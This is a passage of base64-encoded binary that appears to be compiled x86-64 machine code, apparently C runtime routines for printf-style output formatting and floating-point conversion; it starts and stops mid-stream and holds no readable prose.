ADHQwz/////6Uv+//8PHwCLQwyNUP+JUwyFwA+ON/7//w8fgAAAAABIidq5IAAAAOiz8///i0MMjVD/iVMMhcB/5kSLYwjpDf7//2ZmLg8fhAAAAAAAZpBVQVRXVlNIg+wwSI1sJDCDeRT9SInLD4TUAAAAD7dRGGaF0g+EpwAAAEhjQxRIiedIg8APSIPg8Oij8f//SCnESMdF+AAAAABMjUX4SI10JCBIifHoR0IAAIXAD47PAAAAg+gBTI1kBgHrGg8fRAAASGNTJIgMEItDJIPAAYlDJEk59HQ2i1MISIPGAfbGQHUIi0MkOUMofuEPvk7/SIsDgOYgdMtIicLoe0cAAItDJIPAAYlDJEk59HXKSIn8SInsW15fQVxdww8fhAAAAAAASInauS4AAADos/L//5BIiexbXl9BXF3DDx+EAAAAAABIx0X4AAAAAEiNdfjoT0cAAEiNTfZJifFBuBAAAABIixDoKkQAAIXAfi4Pt1X2ZolTGIlDFOn2/v//Zg8fRAAASInauS4AAADoU/L//0iJ/Ol5////Dx8AD7dTGOvUZpBVV1ZTSIPsKInNSInXQYtJDESJxkyJy0WFwA+OMAEAAEE5yH9jQYtBEEQpwTnBD448AwAAKcGJSwyFwA+ORwIAAIPpAYlLDIX2fgr2QwkQD4VQAgAAhcl+QoXtD4XHAQAAi0MIqcABAAAPhOkCAACNUf+JUwyF0nQt9sQGdSjpwAEAAA8fRAAAQcdBDP////9B9kEJEA+FZQIAAIXtD4XdAAAAi0MI9sQBD4UJAgAAqEAPhfkCAACLQwyFwH4Vi1MIgeIABgAAgfoAAgAAD4T9AQAAhfYPjgUBAAAPH0QAAA+2B7kwAAAAhMB0B0iDxwEPvshIidroRfH//4PuAXQw9kMJEHTaZoN7IAB002nGq6qqqj1VVVVVd8ZIjUsgSYnYugEAAADodfH//+uzDx8Ai0MQhcB/YfZDCQgPhbcAAACD6AGJQxBIg8QoW15fXcOFyQ+OGAEAAEGLQRCD6QE5wQ+Pzf7//8dDDP////+F7Q+ELf///2YuDx+EAAAAAABIidq5LQAAAOiz8P//6SX///9mDx9EAABIidnoEP3//+shZg8fRAAAD7YHuTAAAACEwHQHSIPHAQ++yEiJ2uh98P//i0MQjVD/iVMQhcB/2EiDxChbXl9dww8fgAAAAABIidq5MAAAAOhT8P//i0MQhcAPjsoBAABIidnosPz//4X2dL+LQxAB8IlDEA8fQABIidq5MAAAAOgj8P//g8YBde7rnw8fQACNQf+JQwyFwA+ESv////dDCAAGAAAPhT3///+D6QKJSwwPH4AAAAAASInauSAAAADo4+///4tDDI1Q/4lTDIXAf+bpLP7//5APhfH+//9Bi0kQhckPieX+///32UGJSQyLQwj2xAgPha39//+F9g+Ovf3///bEEA+EtP3//2aDeyAAD4Sl/f//6d0AAAAPHwBIidq5KwAAAOh77///6e39//9mDx9EAACD6AGJQwxmLg8fhAAAAAAASInauTAAAADoU+///4tDDI1Q/4lTDIXAf+bp1P3//5BmQYN5IAAPhI/9//9BjUACuquqqqq5/////0gPr8JIweghg/gBD4Rw/f//g+gBKcjrFmYPH0QAAIPpAYnCAcqJSwwPhA39//+FyX/s6Ur9//8PH4AAAAAAg+kB9sQGD4Ti/v//6T39//8PH4AAAAAAQcdBDP////9B9kEJEA+EGP3//2ZBg3kgAA+EDP3//4PJ/41GAkG4AwAAAJlB9/iD+AF1h+ms/P//Dx+AAAAAAEiJ2rkgAAAA6IPu///p9fz///ZDCQgPhSz+//+F9g+FM/7//+lo/f//Dx+AAAAAAFdWU0iD7CBBugEAAABBg+gBQYnLTInLSWPwQcH4H0hpzmdmZmZIwfkiRCnBdB1mkEhjwcH5H0GDwgFIacBnZmZmSMH4IinIicF15YtDLIP4/3UMx0MsAgAAALgCAAAARDnQRInXRItDDEmJ2Q9N+ESJwI1PAinIQTnIuf////9BuAEAAAAPTsFEidmJQwzojfv//4tLCItDLEiJ2olDEInIg+EgDcABAACDyUWJQwjorO3//41HAQFDDEiJ2kiJ8UiDxCBbXl/pdPb//w8fQABWU0iD7FhEi0IQ2ylIidNFhcB4XEGDwAFIjUQkSEiNVCQwuQIAAADbfCQwTI1MJExIiUQkIOhm7P//RItEJExIicZBgfgAgP//dDWLTCRISYnZSInC6Nb+//9IifHozhIAAJBIg8RYW17DZg8fRAAAx0IQBgAAAEG4BwAAAOuZkItMJEhJidhIicLokfD//0iJ8eiZEgAAkEiDxFhbXsOQVlNIg+xYRItCENspSInTR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